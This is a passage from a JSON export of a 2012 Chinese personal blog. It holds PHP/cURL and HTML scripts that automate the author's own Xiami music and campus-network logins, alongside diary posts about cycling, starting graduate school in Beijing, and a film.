$(\u0026#34;#show\u0026#34;).append(\u0026#39;\u0026lt;textarea onfocus=\u0026#34;this.select();\u0026#34; onmouseover=\u0026#34;this.focus()\u0026#34;\u0026gt;\u0026#39;+html+\u0026#39;\u0026lt;/textarea\u0026gt;\u0026#39;); } ","count":808,"date":"2012年12月22日","featuredImage":null,"permalink":"https://imnerd.org/xiami-search-diy.html","summary":"\u003ch3 id=\"预览\"\u003e预览\u003c/h3\u003e\n\u003cp\u003e预览地址：\u003ca href=\"https://imnerd.org/lab/search\" target=\"_blank\" title=\"虾米音乐搜索\"\u003e虾米音乐搜索\u003c/a\u003e  主要目的是搜索音乐并获取播放器代码\u003c/p\u003e\n\u003ciframe src=\"//imnerd.org/lab/search\" style=\"width:500px;height:350px;border:1px solid #AAA;box-shadow:3px 3px 6px #AAA;\"\u003e\u003c/iframe\u003e\r\n\u003c!-- m o r e --\u003e\r\n\u003ch3 id=\"原理\"\u003e原理\u003c/h3\u003e\n\u003cp\u003e本段代码主要利用了\u003ccode\u003ehttp://www.xiami.com/app/nineteen/search/key/搜索内容/page/搜索结果页数\u003c/code\u003e虾米这个隐藏的API，例如\u003ccode\u003ehttp://www.xiami.com/app/nineteen/search/key/传奇/page/1\u003c/code\u003e可以获取到搜索结果总数已经相关歌曲的信息等。\u003c/p\u003e","time":2,"title":"自建虾米音乐搜索"},{"comments":{"data":[62],"errmsg":"","errno":0},"contents":"\r前言\r今天抽空整理了下把它写成了一个多账号版本的，放在了SAE上头，网址是：http://autocheck.sinaapp.com 。 上头输玩账号密码程序就可以自动帮你的账号签到了。切记程序会记住你的账号密码，如果有介意的请千万不要使用，本人不对你的账号问题进行负责。\n上一篇文章中，我们讲述了如何利用PHP批量下载虾米已下载的歌曲。其中我们实现了如何用PHP+CURL模拟虾米登录，这回我们来实现一下如何自动签到。（对于我这样的只是拿虾米当下载音乐的地方，而且经常忘记签到的孩子真的是非常有用啊有木有！T_T）\n一、获取登录COOKIES\r还是老样子，我们先获取到登录的COOKIES文件。修改代码中的第2行和第3行，填入自己的账号和密码。如果成功的话，会在该文件的同级目录下得到一个cookies.txt文件。\n$name = \u0026#39;\u0026#39;; //输入你的账号 $password = \u0026#39;\u0026#39;; //输入你的密码 //获取登录cookie $curl_post = \u0026#39;email=\u0026#39;.$name.\u0026#39;\u0026amp;password=\u0026#39;.$password.\u0026#39;\u0026amp;done=/\u0026amp;submit=登 录\u0026#39;; $cookie_file = dirname(__FILE__).\u0026#39;/cookie.txt\u0026#39;; $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, 1); curl_setopt($curl, CURLOPT_URL, \u0026#34;http://www.xiami.com/member/login\u0026#34;); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_POST, 1); curl_setopt($curl, CURLOPT_POSTFIELDS, $curl_post); curl_setopt($curl, CURLOPT_COOKIEJAR, $cookie_file); curl_exec($curl); curl_close($curl); 二、获取签到地址\r虾米的签到其实是向http://www.xiami.com/task/signin这个网页发送一个POST，这个POST的Data长度是0。代码利用虾米手机页面的签到机制，向一个特定的地址发送一个POST过去就可以了。所以再要就是获取签到的地址。\n//获取手机版首页\t$curl = curl_init(); curl_setopt($curl, CURLOPT_URL, \u0026#34;http://www.xiami.com/web\u0026#34;); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_COOKIEFILE, $cookie_file); curl_setopt($curl, CURLOPT_COOKIEJAR, $cookie_file); $data = curl_exec($curl); curl_close($curl); //获取签到URL,如果已经签到则获取签到天数 $preg = \u0026#39;/\\\u0026lt;a class\\=\\\u0026#34;check\\_in\\\u0026#34; href\\=\\\u0026#34;(.*?)\\\u0026#34;\\\u0026gt;每日签到\\\u0026lt;\\/a\\\u0026gt;/s\u0026#39;; preg_match_all($preg, $data, $match); if(!isset($match[1][0])) { $preg = \u0026#39;/\\\u0026lt;div class\\=\\\u0026#34;idh\\\u0026#34;\\\u0026gt;(已连续签到.*?天)\\\u0026lt;\\/div\\\u0026gt;/s\u0026#39;; preg_match_all($preg, $data, $match); die($match[1][0]); } 三、进行签到\r利用上一步中获取到的地址进行签到。但是要注意的是，网页会判断页面来源，如果不是从虾米网站POST过去的会签到失败。所以我添加了自定义Referer来源。之前就一直因为这个没有更改而一直都没有成功，后来索性模拟了所有的HTTP Header才发现了问题的所在。另外，虽然POST空数据过去，但千万不要以为不POST数据过去就行了，无和0还是有点区别的，哈哈！其它的就没有什么问题了。签到成功的话页面会返回你的签到天数。\n//自动签到 $url = \u0026#39;http://www.xiami.com\u0026#39; . $match[1][0]; $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_COOKIEFILE, $cookie_file); curl_setopt($curl, CURLOPT_HEADER, 1); curl_setopt($curl, CURLOPT_REFERER, \u0026#39;http://www.xiami.com/web\u0026#39;); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); $num = curl_exec($curl); curl_close($curl); 四、Cron添加自动签到任务\r我这里以SAE为例，将第一步获取到的cookies.txt文件和第二步的xiami.auto.sign.php一起上传到应用中。例如存放位置是/xiami。在cron.yaml末尾添加如下代码：\n- description:cron XiamiAutoSign url: xiami/xiami.auto.sign.php schedule: every day of month 00:10 timezone: Beijing 设置成功的话会在每天的00:10访问这个页面，完成自动签到功能！\n","count":1224,"date":"2012年11月09日","featuredImage":null,"permalink":"https://imnerd.org/xiami-autosign.html","summary":"\u003c!-- \u003ciframe src=\"https://imnerd.org/usr/plugins/XiaMiPlayer/jplayer/index.html#1770310609\" style=\"width:255px;height:35px;\" frameborder=\"0\" scrolling=\"no\"\u003e\u003c/iframe\u003e --\u003e\r\n\u003ciframe frameborder=\"no\" border=\"0\" marginwidth=\"0\" marginheight=\"0\" width=\"750\" height=\"110\" loading=\"lazy\" sandbox=\"allow-popups allow-scripts allow-same-origin\" src=\"https://www.xiami.com/webapp/embed-player?autoPlay=1\u0026id=150823\"\u003e\u003c/iframe\u003e\r\n\u003ch4\u003e前言\u003c/h4\u003e\r\n\u003cp\u003e今天抽空整理了下把它写成了一个多账号版本的，放在了SAE上头，网址是：\u003ca href=\"http://autocheck.sinaapp.com\" target=\"_blank\"\u003ehttp://autocheck.sinaapp.com\u003c/a\u003e 。 上头输玩账号密码程序就可以自动帮你的账号签到了。切记程序会记住你的账号密码，如果有介意的请千万不要使用，本人不对你的账号问题进行负责。\u003c/p\u003e","time":3,"title":"虾米自动签到的实现"},{"comments":{"data":[0],"errmsg":"","errno":0},"contents":"\r本文方法已失效，新版见：如何批量下载虾米已下载歌曲（新）\n前言 首先要说明的是，这不是一篇讲述如何免费批量下载虾米高质量音乐的文章，而是讲述一个杯具男如何因为懒惰而DIY出的成果。所以如果抱有前述心理的同学到此可以关闭网页了。另外本文中代码运用到了PHP+CURL+JavaScript，推荐大家在本地环境中进行操作。同时最重要的是，本文不是讨论如何绕过虾米的收费机制下载歌曲，所以你必须保证你有足够的虾米币或者红包用来下载歌曲才行，否则一切免谈。\n事出有因 事情是这样的。前两天安装了Linux Mint，在Linux中打开了音乐，没过一会儿就卡掉了，当时我也没在意。结果一回到Windows就提示我文件夹损坏了，里面的文件也自然都悲剧了。用恢复软件恢复了效果也不太理想。400首歌总共2G多的文件也不是说割舍就能割舍的，所以就有了下面这些。\n解题思路 虾米下载的机制是这样的：在网站点击下载之后，网站向你的账户中未下载列表传递下载歌曲信息，之后未下载列表则返回一个以emoun://特有协议开头的文件，用以打开虾歌（这个和迅雷thunder://以及电骡等的ed2k://是一个道理）。虾歌打开后查询未下载的表单，返回表单中的歌曲，然后下载。同时将未下载列表中的歌曲提交到已下载列表中，并在未下载列表中删除。这样，一次下载就完成了。\n如图所示，点击下载歌曲，网站向http://www.xiami.com/download/song页面POST提交了相关Data，同时网页返回一个emoun://协议开头的文件（图中左侧红色方框标记的）。\n所以我的想法是这样的：首先登录网页抓取已下载列表中已经下载过歌曲的信息，然后批量的提交到未下载列表。然后打开虾歌去查询未下载列表中的歌曲就好了。如果和我所想一样的话，虾歌应该会一次性批量得到所有歌曲，那么我们只要等待下载完成就好了。\n解题步骤 一、获取登录COOKIES 获取登录后的COOKIES文件，方便之后的抓取工作。修改代码中的第2行和第3行，填入自己的账号和密码。 如果成功的话，会在该文件的同级目录下得到一个cookies.txt文件。\n$name = \u0026#39;\u0026#39;; //输入你的账号 $password = \u0026#39;\u0026#39;; //输入你的密码 $curl_post = \u0026#39;email=\u0026#39;.$name.\u0026#39;\u0026amp;password=\u0026#39;.$password.\u0026#39;\u0026amp;done=/\u0026amp;submit=登 录\u0026#39;; $cookie_file = dirname(__FILE__).\u0026#39;/cookie.txt\u0026#39;; $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, \u0026#34;http://www.xiami.com/member/login\u0026#34;); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_POST, 1); curl_setopt($curl, CURLOPT_POSTFIELDS, $curl_post); curl_setopt($curl, CURLOPT_COOKIEJAR, $cookie_file); curl_exec($curl); curl_close($curl); 二、抓取下载列表并提交到未下载列表 有了上一步之后，这一步就变的非常的简单。这里主要考虑的是效率的问题，由于我的歌曲打开400首，虾米一页显示20首。所以我大概有20页要抓取，这对于PHP来说是一个不小的工作量，在本地运行更甚。如果你的页面少可以使用下面的代码，如果你要抓的页面多，可以尝试将其改写成multi_curl同步抓取，或者改写成AJAX形式，亦或是分批抓取都行。使用代码时候记得修改第三行的抓取页数。\nset_time_limit(0); //设置成不限制页面运行时间 $page = \u0026#39;\u0026#39;; //填写你的已经下载页面的页数 $cookie_file = dirname(__FILE__).\u0026#39;/cookie.txt\u0026#39;; $song = \u0026#39;\u0026#39;; //如果页数过多可以分批获取，以免等待时间过长 for($i=1;$i\u0026lt;=$page;$i++) { $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, \u0026#34;http://www.xiami.com/account/mysongs/s/2/page/\u0026#34;.$i); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_COOKIEFILE, $cookie_file); $data = curl_exec($curl); curl_close($curl); $preg = \u0026#39;/\\\u0026lt;td.class\\=\\\u0026#34;iname\\\u0026#34;\\\u0026gt;\\\u0026lt;a.href\\=\\\u0026#34;\\/song\\/(.*?)\\\u0026#34;\\\u0026gt;(.*?)\\\u0026lt;\\/a\\\u0026gt;/s\u0026#39;; preg_match_all($preg, $data, $match); foreach($match[1] as $item) { $song .= $item . \u0026#39;,\u0026#39;; } } $song = str_replace(\u0026#39; \u0026#39;, \u0026#39;\u0026#39;, $song); $song = substr($song, 0, -1); echo \u0026#34;var song = new Array($song);\u0026#34;; /*end*/ 三、批量提交下载歌曲 上一步的代码中，我将下载歌曲的ID输出成了JavaScript数组的形式。因为这一步中我们将以歌曲数为基数向虾米网站POST提交信息，400对于PHP来说仍然是一个庞大的数字，对于本地更甚。你可以修改成multi_curl的形式，不过我第一反应是AJAX异步传输，这就是为什么我将歌曲的ID输出成了JavaScript数组的原因。\n原理很简单，JS用来模拟循环，PHP则负责POST提交数据。使用代码时记得将xiami.song.download.html中的第3行替换成你在上一步中获得的代码。\n//将第二步获得的代码复制到下面，记得删除最后一位数的逗号 var song = new Array(1769629171,3338870,1769902385,1770432131,2868586,1770149760,367633,1769832130,35526,1769962750,1770551145,1770457081,3486103,1769400110,127903,3367334,2078855,71830,376007,376015,2074918,2730,1770450144,3455520,79157,79151,81366,65256,390070,2138604,1770345727,376050,376006,149193,388168,1769665592,3497062,1769236069,3632104,1768923954,1769491757,3608275,2092882,1770354410,3480460,3620143,2095376,2561774,3664677,1770462404,1769056924,3527076,2126340,2089410,1769177482,2083322,1769831952,1769316186,1770524409,1769517803,1190507,1964547,1769107542,3486203,1769686818,1769028326,1858814,2084011,1769235816,1770614545,2083187,2605276,378268,2515019,1122167,1769176497,3302053,2083102,3638520,189072,371017,1770168732,1083760,2122948,2070331,2128868,3319126,2561592,1381654,3441719,1768939471,2091290,2098665,2067235,1770060224,3562953,54342,1769831786,1770145312,76323,2067242,173117,136054,1770068043,1769833104,1769833105,1769833106,1769833107,1769833108,2082305,1768989931,1769356638,1769082273,1769776879,1769740304,1205851,1768984809,1769102373,1769740095,1768989928,1769381931,1769227674,3599015,1768962602,3463177,1769381938,1769381935,1769381934,1769381932,3410377,2067242,3381901,3381903,373969,2072395,373971,373990,374039,3381910,3381911,3381912,382134,378711,193010,162269,143775,127673,120041,89443,52732,382512,383210,1769274527,1769004670,1768958960,3599311,3365855,2314604,2080987,2073790,385907,115384,374057,377936,380029,382560,382852,383962,33806,378041,380287,385729,385760,388406,389153,381833,83126,386773,389072,389080,389077,43542,52726,375183,382821,384595,385074,386954,373818,376387,378307,379302,382777,384646,384670,385137,385976,386073,386347,2342433,3550893,1769699970,2095102,2095107,2017034,2286524,2342421,2286523,3338183,1768988423,2286527,2380720,3464931,1176114,1769334977,2155384,1769839800,3225258,2091936,1769334987,3187867,2095104,3413844,1769072635,1007695,3636957,3467770,1768940269,1769292436,1769850021,1769102619,3409064,1769870173,1769850022,1769850019,1769463117,3446206,2028877,2136483,1769072646,1769291745,1769072643,1769113798,196142,3187959,2079575,2286522,2079581,2385273,1769673320,3513664,1769071426,3502285,1769801604,1769801605,3484274,1769303054,1769303056,1769303057,1769303058,1769303059,1769303060,1769303061,1769303062,1769303055,1768914983,378646,3586293,1769830111,1769830112,1769830113,1769830114,1769830115,1769830116,1769830117,1769830118,1769830119,1769830120,1769570445,); //复制结束 //下面的代码不需要修改 var XHR; //定义一个全局对象 function xm_download(id){ if(window.ActiveXObject){//IE的低版本系类 XHR=new ActiveXObject(\u0026#39;Microsoft.XMLHTTP\u0026#39;); }else if(window.XMLHttpRequest){//非IE系列的浏览器，但包括IE7 IE8 XHR=new XMLHttpRequest(); } XHR.open(\u0026#34;GET\u0026#34;,\u0026#34;download.php?id=\u0026#34;+id,true);\tXHR.send(null); } for (var i=0;i\u0026lt;song.length;i++) { xm_download(song[i]); } $data = \u0026#39;pid=\u0026amp;ptype=\u0026amp;song_count=1\u0026amp;id=\u0026#39;.$_GET[\u0026#39;id\u0026#39;];\t$cookie_file = dirname(__FILE__).\u0026#39;/cookie.txt\u0026#39;; //登录COOKIES文件地址 $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, \u0026#34;http://www.xiami.com/download/song\u0026#34;); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_POST, 1); curl_setopt($curl, CURLOPT_COOKIEFILE, $cookie_file); curl_setopt($curl, CURLOPT_POSTFIELDS, $data);\t$data = curl_exec($curl); curl_close($curl); 四、打开虾歌查询订单 最后一步是打开虾歌，选择“文件”→“检查未完成下载”，静候片刻你就可以欢呼了！之后静静等待虾歌批量下载成功就好了。\n","count":1872,"date":"2012年11月07日","featuredImage":null,"permalink":"https://imnerd.org/multi-download-xiami-songs.html","summary":"\u003c!-- \u003ciframe src=\"https://imnerd.org/usr/plugins/XiaMiPlayer/jplayer/index.html#3365856\" style=\"width:255px;height:35px;\" frameborder=\"0\" scrolling=\"no\"\u003e\u003c/iframe\u003e --\u003e\r\n\u003ciframe frameborder=\"no\" border=\"0\" marginwidth=\"0\" marginheight=\"0\" width=330 height=86 src=\"//music.163.com/outchain/player?type=2\u0026id=5159464\u0026auto=1\u0026height=66\"\u003e\u003c/iframe\u003e\r\n\u003cp\u003e\u003cstrong\u003e本文方法已失效，新版见：\u003ca href=\"https://imnerd.org/multi-download-xiami-songs-new.html\" title=\"如何批量下载虾米已下载歌曲（新）\"\u003e如何批量下载虾米已下载歌曲（新）\u003c/a\u003e\u003c/strong\u003e\u003c/p\u003e\n\u003ch2 id=\"前言\"\u003e前言\u003c/h2\u003e\n\u003cp\u003e首先要说明的是，这不是一篇讲述如何免费批量下载虾米高质量音乐的文章，而是讲述一个杯具男如何因为懒惰而DIY出的成果。所以如果抱有前述心理的同学到此可以关闭网页了。另外本文中代码运用到了PHP+CURL+JavaScript，推荐大家在本地环境中进行操作。同时最重要的是，本文不是讨论如何绕过虾米的收费机制下载歌曲，所以你必须保证你有足够的虾米币或者红包用来下载歌曲才行，否则一切免谈。\u003c/p\u003e","time":4,"title":"如何批量下载虾米已下载歌曲"},{"comments":{"data":[14],"errmsg":"","errno":0},"contents":"\r本人所在学校采用的是Srun3000深澜系统进行的网络认证，在参考了北航srun3000客户端python版，将认证登录的代码改成了HTML版。最开始只有IPv4版，在@李玉贤 和 @张嘉琦 等人的帮助下添加了IPv6登录。如果不是地大的话记得将login的IP地址改成自己学校的就好了。\nP.S.测试了在Windows和Linux平台IPv4和IPv6都可用！\n代码打包下载：BOX | Baidu\r复制下面的代码保存为\u0026quot;ipv4.html\u0026quot;，记得将自己的账号密码和MAC地址填写进去，MAC地址的格式为aa:bb:cc:dd，全部为小写。\n\u0026lt;!DOCTYPE HTML\u0026gt; \u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;meta charset=\u0026#34;utf-8\u0026#34; /\u0026gt; \u0026lt;title\u0026gt;Srun Login!\u0026lt;/title\u0026gt; \u0026lt;script type=\u0026#34;text/javascript\u0026#34;\u0026gt; function submit() { document.getElementById(\u0026#39;submit1\u0026#39;).click(); } \u0026lt;/script\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body onload=\u0026#34;submit();\u0026#34;\u0026gt; \u0026lt;form action=\u0026#34;http://202.204.105.195:3333/cgi-bin/do_login\u0026#34; method=\u0026#34;post\u0026#34;\u0026gt; \u0026lt;!--将账号，密码，MAC地址分别填写进value=\u0026#34;\u0026#34;的俩冒号中，例如value=\u0026#34;1234567\u0026#34;--\u0026gt; \u0026lt;p\u0026gt;账号：\u0026lt;input name=\u0026#34;username\u0026#34; value=\u0026#34;\u0026#34;\u0026gt;\u0026lt;/p\u0026gt; \u0026lt;p\u0026gt;密码：\u0026lt;input type=\u0026#34;password\u0026#34; name=\u0026#34;password\u0026#34; value=\u0026#34;\u0026#34;\u0026gt;\u0026lt;/p\u0026gt; \u0026lt;p\u0026gt;MAC：\u0026lt;input name=\u0026#34;mac\u0026#34; type=\u0026#34;hidden\u0026#34; value=\u0026#34;\u0026#34;\u0026gt;\u0026lt;/p\u0026gt; \u0026lt;input name=\u0026#34;n\u0026#34; type=\u0026#34;hidden\u0026#34; value=\u0026#34;99\u0026#34;\u0026gt; \u0026lt;input name=\u0026#34;type\u0026#34; type=\u0026#34;hidden\u0026#34; value=\u0026#34;3\u0026#34;\u0026gt; \u0026lt;p\u0026gt;\u0026lt;input type=\u0026#34;submit\u0026#34; id=\u0026#34;submit1\u0026#34; value=\u0026#34;OK\u0026#34; /\u0026gt;\u0026lt;/p\u0026gt; \u0026lt;/form\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 复制下面的代码保存为\u0026quot;ipv6.html\u0026quot;，记得将自己的账号密码填写进去\n\u0026lt;!DOCTYPE HTML\u0026gt; \u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;meta charset=\u0026#34;utf-8\u0026#34; /\u0026gt; \u0026lt;title\u0026gt;Srun Login!\u0026lt;/title\u0026gt; \u0026lt;script type=\u0026#34;text/javascript\u0026#34;\u0026gt; function submit() { document.getElementById(\u0026#39;submit2\u0026#39;).click(); } \u0026lt;/script\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body onload=\u0026#34;submit();\u0026#34;\u0026gt; \u0026lt;form action=\u0026#34;http://[2001:da8:214:102:d6be:d9ff:feaa:422a]/cgi-bin/do_login\u0026#34; method=\u0026#34;post\u0026#34;\u0026gt; \u0026lt;!--将账号，密码，MAC地址分别填写进value=\u0026#34;\u0026#34;的俩冒号中，例如value=\u0026#34;1234567\u0026#34;--\u0026gt; \u0026lt;p\u0026gt;账号：\u0026lt;input name=\u0026#34;username\u0026#34; value=\u0026#34;\u0026#34;\u0026gt;\u0026lt;/p\u0026gt; \u0026lt;p\u0026gt;密码：\u0026lt;input type=\u0026#34;password\u0026#34; name=\u0026#34;password\u0026#34; value=\u0026#34;\u0026#34;\u0026gt;\u0026lt;/p\u0026gt; \u0026lt;input name=\u0026#34;n\u0026#34; type=\u0026#34;hidden\u0026#34; value=\u0026#34;100\u0026#34;\u0026gt; \u0026lt;input name=\u0026#34;is_pad\u0026#34; value=\u0026#34;1\u0026#34;\u0026gt; \u0026lt;input name=\u0026#34;type\u0026#34; type=\u0026#34;hidden\u0026#34; value=\u0026#34;1\u0026#34;\u0026gt; \u0026lt;p\u0026gt;\u0026lt;input type=\u0026#34;submit\u0026#34; id=\u0026#34;submit2\u0026#34; value=\u0026#34;OK\u0026#34; /\u0026gt;\u0026lt;/p\u0026gt; \u0026lt;/form\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 复制下面的代码保存为\u0026quot;login.html\u0026quot;\n\u0026lt;!DOCTYPE HTML\u0026gt; \u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;meta charset=\u0026#34;utf-8\u0026#34; /\u0026gt; \u0026lt;title\u0026gt;Srun Login!\u0026lt;/title\u0026gt; \u0026lt;style type=\u0026#34;text/css\u0026#34;\u0026gt; iframe { border:none; width:100%; display:block; } \u0026lt;/style\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt;\t\u0026lt;iframe src=\u0026#34;ipv6.html\u0026#34;\u0026gt; \u0026lt;/iframe\u0026gt; \u0026lt;iframe src=\u0026#34;ipv4.html\u0026#34;\u0026gt; \u0026lt;/iframe\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 保证三个文件在同一文件夹下，资料全部填写进去之后，打开login.html即可完成登录过程。\n","count":775,"date":"2012年10月26日","featuredImage":null,"permalink":"https://imnerd.org/srun-login-by-html.html","summary":"\u003c!-- \u003ciframe src=\"https://imnerd.org/usr/plugins/XiaMiPlayer/jplayer/index.html#1769276040\" style=\"width:255px;height:35px;\" frameborder=\"0\" scrolling=\"no\"\u003e\u003c/iframe\u003e --\u003e\r\n\u003ciframe frameborder=\"no\" border=\"0\" marginwidth=\"0\" marginheight=\"0\" width=330 height=86 src=\"//music.163.com/outchain/player?type=2\u0026id=2918954\u0026auto=1\u0026height=66\"\u003e\u003c/iframe\u003e\r\n\u003cp\u003e本人所在学校采用的是Srun3000深澜系统进行的网络认证，在参考了\u003ca href=\"http://lyxint.com/archives/142\" target=\"_blank\"\u003e北航srun3000客户端python版\u003c/a\u003e，将认证登录的代码改成了HTML版。最开始只有IPv4版，在@李玉贤 和 @张嘉琦 等人的帮助下添加了IPv6登录。如果不是地大的话记得将login的IP地址改成自己学校的就好了。\u003c/p\u003e","time":2,"title":"地大Srun网络认证登录HTML版"},{"comments":{"data":[6],"errmsg":"","errno":0},"contents":" 早上八点半出发，骑了一个小时就到了植物园。我们走的是香山养老院旁边的森林防火道，还没上去呢我的水就喝的差不多了。上坡各种陡，目测二十度到三十度是肯定有了。甘哥让我们之字形骑上去，勉强还能骑一会儿，最后实在受不了了，基本都下来推了。在路上碰上驴友各种尴尬，推着车子上山简直是太没面子了。\n向着望京楼方向，沿着防火道一直往上走。走到顶还没到望京楼的时候我们就右拐下坡去了。我们老大木哥说过一句话-“上山如吃屎，下山如拉稀”，简直是不能贴切更多的描述我们当时的心情了，感觉人当时整个儿都活了过来。路上的回头率也是超高的说。下到一段路在某个地方右拐走了另一条道，然后我们就爽翻了。那条道我感觉应该是给他们比赛专用的，设置了各种弯道。中间有个弯道特别急，坡也做的特别抖，当时都吓得想下来推下去了。\n没过一会了就下来了，到了下面就是植物园。公园是不让骑车的，所以大家要推车出去哦~我们开始不知道，快到门口的时候才被安管人员抓到提醒的，汗！\n","count":411,"date":"2012年10月24日","featuredImage":null,"permalink":"https://imnerd.org/xiangshan.html","summary":"\u003c!-- \u003ciframe src=\"http://imnerd.org/usr/plugins/XiaMiPlayer/jplayer/index.html#2774396\" style=\"width:255px;height:35px;\" frameborder=\"0\" scrolling=\"no\"\u003e\u003c/iframe\u003e --\u003e\n\u003cp\u003e早上八点半出发，骑了一个小时就到了植物园。我们走的是香山养老院旁边的森林防火道，还没上去呢我的水就喝的差不多了。上坡各种陡，目测二十度到三十度是肯定有了。甘哥让我们之字形骑上去，勉强还能骑一会儿，最后实在受不了了，基本都下来推了。在路上碰上驴友各种尴尬，推着车子上山简直是太没面子了。\u003c/p\u003e","time":1,"title":"香山"},{"comments":{"data":[6],"errmsg":"","errno":0},"contents":" 早就想更新一篇日志了，可是最近要么太忙，要么还沉浸在新生的喜悦当中。毕竟，这是我人生中真正意义上的第一次“背井离乡”，心潮之澎湃已经不是我能用言语来形容的了。火车是在杭州坐的，是我目前用户体验最好的一次旅程，勿需排队的取票、设备齐全的候车室、火车硬件的舒适以及五女一男的艳遇，让这趟旅途划上完美的句号。\n学校说好的是二号报道的，而且还明文规定了寝室不让提前住宿，这让我们这些南方同学很是纠结了一番。结果还是买了一号的票，一号晚上是在苏洋同学的出租房中度过的，在这里要特地感谢一下苏洋同学，谢谢他的热心帮助。本来不让我们提前入住就已经怨声载道了，学校选择的报道日期更是让人无语了。至于为什么这样说，那是因为二号早上北京下雨了。学校报道流程的不合理，庞大的排队交钱队伍，外加上\u0026quot;天师\u0026quot;级别的天气预测，让我不得不好好吐槽一番学校了。\n地大的土地资源比较紧张，研究生是八个人一间的。早就听闻我们将要入住的是本校最差的\u0026gt;一栋宿舍，进来一看之后发现空间还算大，没有自己想象中的那么糟糕。挑了个下铺，购置了些生活用品，我的背景生活差不多就正式开始了。寝室的同学来自天南地北，大家都挺合得来的，其中有一个还是我本科的同学呢！去食堂吃饭的时候发现，北京不愧是帝都，物价比抚州这种地方高多了。在地大吃一顿的饭前都够我在东华理工吃一天了。另外我不得不吐槽一下食堂的早餐了，没有抚州的泡粉我不怪它，可是豆浆不加糖是怎么回事儿！跟同学吐槽了一番还被说少见多怪，北方都这样儿。这就让我很无语了，不过好在过了两天之后我就发现食堂一楼有一个窗口是可以加糖的，让我的心情稍微舒坦了一下。\n这些天学校都没事，就跟本科的同学一块去逛了一圈故宫。还好前一天办了一假证，从原价六十减到学生亲情价二十，立马就把办证费给赚回来了。看着办了全价的某些同学，我偷偷的笑了。以前看电视，觉得故宫是多么的雄伟和霸气，进来游览了一番之后发现其实也不过如此。虽然事实上它还是很宏伟的，但是总是跟自己想象中的有一些差距。故宫里里外外的都是游客，拍照片都不追求好景致了，只求人少点儿就成了。去了这么一次，我觉得我以后是再也不想去了，那么多人挤在那里，在美丽的风景也被喧嚣的人群给污染了。\n前些天学校开始办理户口迁移的事情了。北京户口迁移的繁文缛杂，简直是到了令人发指的情况。办一个户口迁移证，不仅需要我们的身高，甚至还需要我们的血型，而且还是必须的。害得我不得不花点钱去医院测了一下自己的血型。而且上交的材料也非常的奇特，身份证复印件的特定区域要按照两行两列的形式写上自己的相关信息。您这是要用OCR软件机器自动识别么？可是我想想户籍科也无法确定复印件身份证的位置啊。总是各种复杂的过程，突然出了北京户口的娇贵，加深我了对户籍制度的憎恶。说一句难听点的话，滚去吧，我才不稀罕当个北京人呢！\n北京作为帝都，虽然交通经济等都是全国领先，但是种种令人无奈的举措，真是让人想说一句：北京，想说爱你不容易！\n","count":1225,"date":"2012年09月12日","featuredImage":null,"permalink":"https://imnerd.org/beijing-it-is-no-easy-to-love-you.html","summary":"\u003c!-- \u003ciframe src=\"http://imnerd.org/usr/plugins/XiaMiPlayer/jplayer/index.html#1769343223\" style=\"width:255px;height:35px;\" frameborder=\"0\" scrolling=\"no\"\u003e\u003c/iframe\u003e --\u003e\n\u003cp\u003e早就想更新一篇日志了，可是最近要么太忙，要么还沉浸在新生的喜悦当中。毕竟，这是我人生中真正意义上的第一次“背井离乡”，心潮之澎湃已经不是我能用言语来形容的了。火车是在杭州坐的，是我目前用户体验最好的一次旅程，勿需排队的取票、设备齐全的候车室、火车硬件的舒适以及五女一男的艳遇，让这趟旅途划上完美的句号。\u003c/p\u003e","time":3,"title":"北京，想说爱你不容易！"},{"comments":{"data":[0],"errmsg":"","errno":0},"contents":" 这是一个骑友的故事，这是一个因哥哥去世悲伤过度为了完成其心愿而成为骑友并最终从哥哥的去世中解脱出来的故事。这部电影让我惊喜也让我意外。惊喜的是原来除了打打杀杀情情爱爱，仅仅是一路骑行，阅尽山水，阅尽沧桑，也能成为精彩的电影。而让我意外的是，也就是在这么简简单单的电影中，导演居然能够将“生死”、“爱情”、“童话”、“人兽大战”等看似在这部电影中不可能出现的主线元素融入其中。虽然有些地方添加的确实让人感觉有点刻意为之，但确实能够准确的表达出导演的意思。\n曾经我也有一股海阔凭鱼跃，天高任鸟飞的豪情壮志，但是岁月的洗涤让我越来越放不开自己。（其实真相是越来越懒= 